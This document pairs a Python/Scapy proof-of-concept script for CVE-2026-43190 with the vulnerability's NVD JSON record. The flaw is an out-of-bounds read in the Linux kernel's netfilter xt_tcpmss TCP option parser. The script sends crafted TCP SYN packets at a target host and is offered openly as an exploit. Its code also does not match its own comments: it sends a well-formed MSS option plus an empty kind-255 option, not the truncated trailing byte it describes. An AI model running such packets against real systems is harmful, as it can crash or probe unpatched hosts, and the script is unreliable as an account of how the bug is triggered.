CVE-2026-43190

# Proof of Concept for CVE-2026-43190 # This script crafts a TCP packet with malformed options to potentially trigger the out-of-bounds read. # Requires Scapy: pip install scapy from scapy.all import IP, TCP, send, conf # Note: Triggering kernel bugs often requires specific timing or network conditions. # This PoC demonstrates sending a TCP packet with an option type that requires a length byte, # placed at the end of the options buffer to simulate the boundary condition. def send_malformed_tcp(target_ip, target_port): # Craft a TCP SYN packet. # TCP Option Kind 2 is MSS (Maximum Segment Size), which expects a 4-byte length (Kind + Len + Data). # If we place a single byte 0x02 at the very end of the allowed options space, # the kernel parser might read the next byte (out of bounds) to determine the length. # Scapy's options list is usually padded, but we try to construct a raw payload # that mimics the vulnerable structure described in the CVE. # Constructing a custom option that is essentially truncated. # The vulnerability occurs when i+1 == optlen, implying the option byte is valid but the length byte is missing. packet = IP(dst=target_ip) / TCP(dport=target_port, sport=12345, flags="S", options=[(2, 1460), (255, b"")]) print(f"[*] Sending malformed TCP packet to {target_ip}:{target_port}") send(packet, verbose=0) print("[+] Packet sent.") if __name__ == "__main__": # Replace with the target IP address for testing in a controlled environment target = "192.168.1.10" send_malformed_tcp(target, 80)

{"cve": {"id": "CVE-2026-43190", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:37.843", "lastModified": "2026-05-11T20:50:14.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: xt_tcpmss: check remaining length before reading optlen\n\nQuoting reporter:\n In net/netfilter/xt_tcpmss.c (lines 53-68), the TCP option parser reads\n op[i+1] directly without validating the remaining option length.\n\n If the last byte of the option field is not EOL/NOP (0/1), the code attempts\n to index op[i+1]. In the case where i + 1 == optlen, this causes an\n out-of-bounds read, accessing memory past the optlen boundary\n (either reading beyond the stack buffer _opt or the\n following payload)."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "5.10.252", "matchCriteriaId": "68B6D2AD-7565-4394-B77B-A1EEBCDF590F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc6:*:*:*:*:*:*", "matchCriteriaId": "8CFD5CDD-1709-44C7-82BD-BAFDC46990D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/07a9b32eaae792ff7d0fcac14d8920c937c0a9c3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5e13d0a37666955b6cfddc0f73cb40ed645b8a05", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/735ee8582da3d239eb0c7a53adca61b79fb228b3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8b300f726640c48c3edfe9c453334dd801f4b74e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cd5beda7e0e32865e214f28034bb92c1cecff885", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/eaedc0bc18be46fe7f58170e967959a932c4f824", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f6c412dcfd76b0516d51aa847d8f4c7b70381b09", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": [ ... 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